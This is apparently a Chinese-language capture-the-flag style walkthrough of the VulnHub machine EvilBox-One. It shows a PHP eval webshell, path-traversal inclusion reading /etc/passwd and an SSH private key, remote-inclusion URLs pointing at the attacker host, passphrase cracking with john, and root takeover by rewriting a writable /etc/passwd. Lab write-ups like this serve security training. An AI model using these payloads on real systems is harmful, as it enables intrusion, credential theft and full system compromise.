靶机介绍
1)靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova
2)靶机难度:低→中
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、网络扫描、强制访问、参数爆破、文件包含、PHP封装器、任意文件读取、SSH公钥登录、离线密码破解、系统权限漏洞利用
5)该靶机的边界突破和提权方法非常具有新意,与之前的打靶过程非常不同,可以很好的扩展渗透思路和补强个人能力的短版,对于初学者学习更加有益。
打靶过程
1)主机发现:本次通过fping命令进行主机发现

2)全端口扫描:扫描目标主机开放的端口

3)对发现的端口进行服务版本扫描(-A 相当于-sV和-sC的组合)

4)先对22端口进行了简单的暴力破解,无法破解出ssh服务的root密码,再通过浏览器访问目标主机的80端口:首页面只是一个简单的页面,无任何漏洞- 浏览器:http://192.168.56.113/
复制代码
8)对网站根目录进行路径扫描
①通过gobuster工具对网站根目录进行路径爬取(gobuster是通过go语言写的路径扫描工具,速度快,其中-w表示指定字典,-x表示扫描的文件类型):扫描完成后发现了rebots.txt文件和secret- # gobuster dir -u "http://192.168.56.113" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
复制代码
②根据扫描出的路径,重新构建URL路径,再次进行扫描:发现在secret路径下,存在evil.php文件- # gobuster dir -u "http://192.168.56.113/secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
复制代码
9)在浏览器访问发现的evil.php发现页面显示空白- 浏览器:
- http://192.168.56.113/secret
- http://192.168.56.113/secret/evil.php
复制代码 说明:某些页面方式时,需要在URL中添加参数才能正常访问,当某个页面没有暴漏出存在哪些参数时,需要对该页面进行参数的爆破。只有知道参数才能对参数进行后续的注入等攻击
10)对URL的参数名和参数值进行爆破,可以选择Burp工具的Intruder模块,也可使用如下工具
①先手动编写一个参数值字典,使其和参数名字典进行匹配- # cat vul.txt
- 1
- 2
- 3
- a
- b
- c
- '
- "
- (
- <
- ,
- ;
- /
- %
复制代码 ②使用工具对参数进行暴力破解:发现爆破失败- # ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w vul.txt:vul -u http://192.168.56.113/secret/evil.php?PARAM=vul -fs 0
- -w 表示挂载的字典(字典包含大量web程序参数名称)
- -fs 0表示过滤掉空页面的内容
复制代码
③由于只有一个字典了,将不设置参数名,参数名可用FUZZ进行替换,表示模糊测试,接下来工具将使用字典中的每一个关键字进行替换FUZZ。判断是否存在一个参数可以做文件包含引用(通过前面扫描可知 ../index.html是一定存在的)- # ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.56.113/secret/evil.php?FUZZ=../index.html -fs 0
复制代码 通过扫描,发现存在一个command参数

④在浏览器通过访问,进行确定command参数确实存在- http://192.168.56.113/secret/evil.php?command=../index.html
- http://192.168.56.113/secret/evil.php?command=../../../../../../etc/passwd
复制代码
发现确实存在文件包含漏洞

11)在kali上构造webshell,通过文件包含,尝试让其引用kali上的一句话木马文件,如果 可以远程的完成文件包含,则目标主机就可以把一句话木马包含应用到当前页面中,从而完成命令执行的操作
①kali上构建一句话木马- # cat a.php
- <?php @eval($_POST['cmd']);?>
- #systemctl start apache2
- # curl -I http://192.168.56.103/a.php
复制代码
②在浏览器进行测试,是否支持远程文件包含:页面回显空白,不支持远程文件包含- http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=ls
- http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=id
复制代码 12)尝试使用PHP的封装器方式(协议类型)
①利用filter封装器功能,尝试将目标服务器上的文件通过编码转化的方式读取出来,实现任意文件读取的效果
把eval.php内容以base64的编码类型的方式读取出来- http://192.168.56.113/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
复制代码
②将回显的base64编码,利用cyberchef的From base64功能,将编码还原成代码(也可使用Burp的Decode功能):通过代码审计发现,确实存在文件包含漏洞- [/code][img]https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221214094251821-1986285184.png[/img]
- ③尝试通过write命令,向目标服务器去写入一些内容,为保证写入内容的成功,先将写入的内容转化成base64编码,在使用decode方法。将decode后的内容写入到一个新的文件
- [code]kali主机:生成base64代码
- # echo 123 | base64
- MTIzCg==
- 浏览器:
- http://192.168.56.113/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIzCg==
复制代码 ④在浏览器访问刚才写入的文件test.txt发现不存在,所以上述写入操作是失败的,由此可知当前靶机的站点目录下是没有写入权限的
13)通过之前本地文件包含,查看到的/etc/passwd文件,发现操作系统存在一个mowree用户。再加上目标靶机开放22端口,可以尝试使用mowree用户进行登录- # ssh mowree@192.168.56.113 -v #-v表示显示登录过程中的详细信息
复制代码 发现目标靶机支持publickey,password两种身份认证(公钥身份认证、密码身份认证)

猜想:如果目标系统支持某个账号使用公钥的方式登录,则在这个登录账号的主目录下就存在目标服务器的公钥
14)通过文件包含漏洞,对mowree用户的家目录进行访问:发现确实存在authorized_keys文件,可以发现该公钥是mowree用户的公钥,且公钥加密生成的算法是rsa,目标主机为EvilBoxOne
①查看公钥- http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
复制代码
②查看私钥- http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
复制代码
③将私钥文件保存至id_rsa,并设置权限- # vi id_rsa
- -----BEGIN RSA PRIVATE KEY-----
- Proc-Type: 4,ENCRYPTED
- DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
- uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
- hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
- o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
- +gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
- b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
- HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
- 9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
- zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
- rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
- tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
- 94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
- VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
- Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
- hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
- Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
- IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
- MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
- 62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
- Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
- p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
- pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
- KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
- i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
- 4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
- 8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
- -----END RSA PRIVATE KEY-----
- ─# chmod 600 id_rsa
复制代码 ④通过私钥尝试进行登录:发现仍然需要属于一个passphrase密码,该密码为公私钥对生成时的所有者,对私钥又加了一层密码,只有知道这个密码,才能解开这个私钥- # ssh mowree@192.168.56.113 -i id_rsa
复制代码
15)将加密私钥的密码破解出来
①利用离线密码爆破工具john将id_rsa转化成john工具可以识别的文件格式- # cd /usr/share/john/
- # ./ssh2john.py /var/www/html/id_rsa > /root/hash
复制代码
②指定密码字典,对id_rsa转换后的hash文件进行爆破:破解出了私钥文件加密密码为unicorn- # cp /usr/share/wordlists/rockyou.txt.gz /root
- # gunzip rockyou.txt.gz
- # john /root/hash --wordlist=/root/rockyou.txt
复制代码
16)再次使用ssh进行登录:成功登陆至目标服务器,突破边界- # ssh mowree@192.168.56.113 -i id_rsa
复制代码
17)获取到第一个flag

18)提权
①先查看有无定时任务:无
②再查看有无sudo权限:无
③查看是否具有内核漏洞:无
④查看是否具有suid的文件:无- mowree@EvilBoxOne:~$ crontab -l
- no crontab for mowree
- mowree@EvilBoxOne:~$ sudo -l
- -bash: sudo: orden no encontrada
- mowree@EvilBoxOne:~$ uname -a
- Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
- mowree@EvilBoxOne:~$ find / -perm /4000 2>/dev/null #将报错信息进程重定向
- mowree@EvilBoxOne:~$ find / -perm /2000 2>/dev/null
复制代码
⑤查看当前账号具有写权限的文件:通过查看发现/etc/passwd具有写权限- mowree@EvilBoxOne:~$ find / -writable 2>/dev/null |grep -v proc
- mowree@EvilBoxOne:~$ ls -l /etc/passwd
- -rw-rw-rw- 1 root root 1398 ago 16 2021 /etc/passwd
复制代码
19)修改/etc/passwd文件中root用户的密码,使其可以直接登录
①通过算法,简单生成一个加密之后的密码- mowree@EvilBoxOne:~$ openssl passwd -1 #-1表示一种算法
- Password:
- Verifying - Password:
- $1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
复制代码
②将/etc/passwd文件中的root用户密码修改为$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0- mowree@EvilBoxOne:~$ cat /etc/passwd
- root:$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0:0:0:root:/root:/bin/bash
复制代码 ③通过su直接切换至root用户:获取到flag- mowree@EvilBoxOne:~$ su - root
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |